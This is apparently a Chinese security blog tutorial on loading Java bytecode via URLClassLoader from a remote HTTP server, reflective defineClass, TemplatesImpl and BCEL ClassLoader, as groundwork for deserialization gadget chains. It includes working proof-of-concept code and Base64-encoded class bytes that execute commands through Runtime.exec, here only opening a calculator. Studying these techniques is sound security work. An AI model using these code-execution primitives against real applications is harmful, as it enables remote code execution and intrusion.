前言
我在很早之前的文章中写过类加载的过程和双亲委派类
文章:http://blog.m1kael.cn/index.php/archives/392/
但是在后面的cc链中会遇见恶意类加载的利用,然后结合字节码来实现rce
所以我来学一手动态加载字节码
利用 URLClassLoader 加载远程class文件
URLClassLoader是ClassLoader的一个实现类,它既能从本地加载二进制文件类,也可以从远程加载类。
它有两个构造函数
URLClassLoader(URL[] urls),使用默认的父类加载器(SystemClassLoader)创建一个ClassLoader对象
URLClassLoader(URL[] urls, ClassLoader parent),使用指定的类加载器作为父类加载器创建ClassLoader对象
上面两个构造函数都有一个URL参数,这里的URL参数值可以是file:前缀,http:前缀,也可以是ftp:前缀,功能非常强大。
具体了解可以参考一下:https://www.runoob.com/manual/jdk1.6/java.base/java/net/URLClassLoader.html
我们这里重点学一下它的远程类加载
先自己新建一个test文件
public class test {
public test(){
System.out.println("m1 hello~");
display();
}
public static void display(){
System.out.println("can can need");
}
}
编译之后我们生成class文件
然后我这里用的kali虚拟机开了个http服务
python3 -m http.server 8080
然后写我们的demo
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;
public class URLClassLoderTest {
public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, InstantiationException, IllegalAccessException {
URL url = new URL("http://192.168.0.128:8080/");
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{url});
Class<?> classLoader = urlClassLoader.loadClass("test");
classLoader.newInstance();
System.out.println("Default parent class loader:" + urlClassLoader.getParent());
}
}
有一点值得注意的是如果我们在idea中运行的时候他会将该项目里面的所有java文件编译一次(也就是变成class文件),接着当类加载的时候会先去本地里面查找相应的class文件加载为相应类对象,如果找不到的话才会去远程加载同名文件。
所有我们需要先删除我们的java文件就能调用远程加载了
可以看到是从远程加载的
利用ClassLoader##defineClass直接加载字节码
我们又不得不回头看看双亲委派
原理之前就已经学过了我们来看看它的代码实现
- 先检查是否已被加载过;
- 若没有加载过则调用父加载器的loadClass()方法;
- 若父加载器为null则默认使用启动类加载器(Bootstrap ClassLoader)作为父加载器;
- 如果父加载器加载类失败,抛出ClassNotFoundException异常后,再调用自己的findClass()方法进行加载。(findClass()最终会调用defineClass()加载字节码)
我们在仔细看看这个方法
可以再跟进去看看就是返回一个class对象然后把它实例化就得到了我们要的东西了
这就是双亲委派的基本流程,我们也可以通过重写findClass方法来进行自定义我们自己的类加载器
不管是加载远程class文件,还是本地class文件,Java都经历了下面三个方法的调用:
测试实例
import java.io.IOException;
public class test {
public static void main(String[] args) throws IOException {
Process pro = Runtime.getRuntime().exec("calc " );
}
}
然后就是类加载实例,因为defineClass是protected属性的,所以我们需要反射调用它
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Base64;
public class DefineClass {
public static void main(String[] args) throws NoSuchMethodException,InvocationTargetException, IllegalAccessException, InstantiationException {
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineClass.setAccessible(true);
byte[] codes = Base64.getDecoder().decode("yv66vgAAAD4AJQoAAgADBwAEDAAFAAYBABBqYXZhL2xhbmcvT2JqZWN0AQAGPGluaXQ+AQADKClW\n" +
"CgAIAAkHAAoMAAsADAEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEv\n" +
"bGFuZy9SdW50aW1lOwgADgEABWNhbGMgCgAIABAMABEAEgEABGV4ZWMBACcoTGphdmEvbGFuZy9T\n" +
"dHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsHABQBAAR0ZXN0AQAEQ29kZQEAD0xpbmVOdW1iZXJU\n" +
"YWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAZMdGVzdDsBAARtYWluAQAWKFtMamF2\n" +
"YS9sYW5nL1N0cmluZzspVgEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQADcHJvAQATTGph\n" +
"dmEvbGFuZy9Qcm9jZXNzOwEACkV4Y2VwdGlvbnMHACIBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAK\n" +
"U291cmNlRmlsZQEACXRlc3QuamF2YQAhABMAAgAAAAAAAgABAAUABgABABUAAAAvAAEAAQAAAAUq\n" +
"twABsQAAAAIAFgAAAAYAAQAAAAMAFwAAAAwAAQAAAAUAGAAZAAAACQAaABsAAgAVAAAAQgACAAIA\n" +
"AAAKuAAHEg22AA9MsQAAAAIAFgAAAAoAAgAAAAUACQAGABcAAAAWAAIAAAAKABwAHQAAAAkAAQAe\n" +
"AB8AAQAgAAAABAABACEAAQAjAAAAAgAk\n");
Class<?> test = (Class) defineClass.invoke(ClassLoader.getSystemClassLoader(), "test", codes, 0, codes.length);
test.newInstance();
}
}
注意:
ClassLoader#defineClass()被调用时,Class对象并不会被初始化,只有显示调用其构造方法,初始化代码才能被执行。即使将初始化代码放在类的static块中,在defineClass时也无法被直接调用到。因此,如果要使用defineClass()在目标机器上执行任意代码,需要想办法调用构造方法。
利用TemplatesImpl加载字节码
在实际场景中,因为defineClass方法作用域是不开放的,所以攻击者很少能直接利用到它,但它却可以造成我们常用的TemplatesImpl的一个攻击链。
利用链是这样的
TemplatesImpl#newTransformer() ->
TemplatesImpl#getTransletInstance() ->
TemplatesImpl#defineTransletClasses() ->
TransletClassLoader#defineClass()
我们就跟着这个链子来看看入口
跟进
这个地方就是利用点
跟进这个类里重写了 defineClass 方法,并且这里没有显式地声明其定义域。Java中默认情况下,如果一个
方法没有显式声明作用域,其作用域为default。所以也就是说这里的 defineClass 由其父类的
protected类型变成了一个default类型的方法,可以被类外部调用。
所以我们需要到这一步,现在就是需要满足一些条件得益于我们能打通这条链子
_class为null,_name不能为空null,_bytecodes不能为null,_tfactory需要一个TransformerFactoryImpl对象
我们发现这些属性都是私有的,所以需要通过反射来修改,写一个修改属性的方法
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
然后我们来修改这些属性,最终得到的大概流程就是
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_class",null);
setFieldValue(templates,"_name","mq");
setFieldValue(templates,"_bytecodes",字节码);
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
templates.newTransformer();
但是发现字节码这里会报错,后面百度了一下发现
TemplatesImpl中对加载的字节码是有一定要求的这个字节码对应的类必须是 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet的子类
所以生成我们需要创建个子类生成字节码
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class ByteClass extends AbstractTranslet {
public static void main(String[] args) throws IOException {
ByteClass byteClass = new ByteClass();
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
public ByteClass() throws IOException {
Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
}}
所以poc
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.util.Base64;
public class Test134 {
public static void main(String[] args) throws Exception {
byte[] codes = Base64.getDecoder().decode("yv66vgAAADMAMgcAJAoAAQAlCgAHACUKACYAJwgAKAoAJgApBwAqAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEYXJncwEAE1tMamF2YS9sYW5nL1N0cmluZzsBAAlieXRlQ2xhc3MBABdMb3JnL2V4YW1wbGUvQnl0ZUNsYXNzOwEACkV4Y2VwdGlvbnMHACsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAR0aGlzAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwcALAEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAGPGluaXQ+AQADKClWAQAKU291cmNlRmlsZQEADkJ5dGVDbGFzcy5qYXZhAQAVb3JnL2V4YW1wbGUvQnl0ZUNsYXNzDAAgACEHAC0MAC4ALwEAPS9TeXN0ZW0vQXBwbGljYXRpb25zL0NhbGN1bGF0b3IuYXBwL0NvbnRlbnRzL01hY09TL0NhbGN1bGF0b3IMADAAMQEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAEABwAAAAAABAAJAAgACQACAAoAAABBAAIAAgAAAAm7AAFZtwACTLEAAAACAAsAAAAKAAIAAAANAAgADgAMAAAAFgACAAAACQANAA4AAAAIAAEADwAQAAEAEQAAAAQAAQASAAEAEwAUAAIACgAAAD8AAAADAAAAAbEAAAACAAsAAAAGAAEAAAASAAwAAAAgAAMAAAABABUAEAAAAAAAAQAWABcAAQAAAAEAGAAZAAIAEQAAAAQAAQAaAAEAEwAbAAIACgAAAEkAAAAEAAAAAbEAAAACAAsAAAAGAAEAAAAXAAwAAAAqAAQAAAABABUAEAAAAAAAAQAWABcAAQAAAAEAHAAdAAIAAAABAB4AHwADABEAAAAEAAEAGgABACAAIQACAAoAAABAAAIAAQAAAA4qtwADuAAEEgW2AAZXsQAAAAIACwAAAA4AAwAAABgABAAZAA0AGgAMAAAADAABAAAADgAVABAAAAARAAAABAABABIAAQAiAAAAAgAj");
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_class",null);
setFieldValue(templates,"_name","m1");
setFieldValue(templates,"_bytecodes",new byte[][]{codes});
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
templates.newTransformer();
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
后面再来学一下它关于fastjson和shiro的利用,还有就是原生的反序列化利用
利用BCEL ClassLoader加载字节码
BCEL也是一种恢复成一个类并在jvm虚拟机中进行加载的字节序列,BCEL也是在jdk库中,在bcel的包中有一个类com.sun.org.apache.bcel.internal.util.ClassLoader,他是一个ClassLoader,但是他重写了Java内置的ClassLoader#loadClass()方法。
在LoadClass中,会判断类名是否是存在$$BCEL$$,如果是的话将会createClass
createClass中会判断是否为$$BCEL$$开头,如果是就会decode
很明显想要利用成功我们得先得到$$BCEL$$+字节码加密成BCEL的形式
com.sun.org.apache.bcel.internal.Repository用于将一个Java Class先转换成原生字节码
com.sun.org.apache.bcel.internal.classfile.Utility用于将原生字节码转换成BCEL格式的字节码
构造恶意类
package org.example;
import java.io.IOException;
public class test {
public test() throws IOException {
Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
diaplay();
}
public static void diaplay(){
System.out.println("hello world!");
}
}
所以最后的poc
package org.example;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import java.io.IOException;
public class BcelClass {
public static void main(String[] args) throws IOException, ClassNotFoundException, IllegalAccessException, InstantiationException {
JavaClass javaClass = Repository.lookupClass(test.class);
String encode = Utility.encode(javaClass.getBytes(),true);
new ClassLoader().loadClass("$$BCEL$$"+encode).newInstance();
}
}
注意:在Java 8u251的更新中,这个ClassLoader被移除了,所以之后只能在这个之前的版本才可以利用
参考:https://www.leavesongs.com/PENETRATION/where-is-bcel-classloader.html#0x01-bcel
声明:本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担! 本网站采用BY-NC-SA协议进行授权!转载请注明文章来源! 图片失效请留言通知博主及时更改!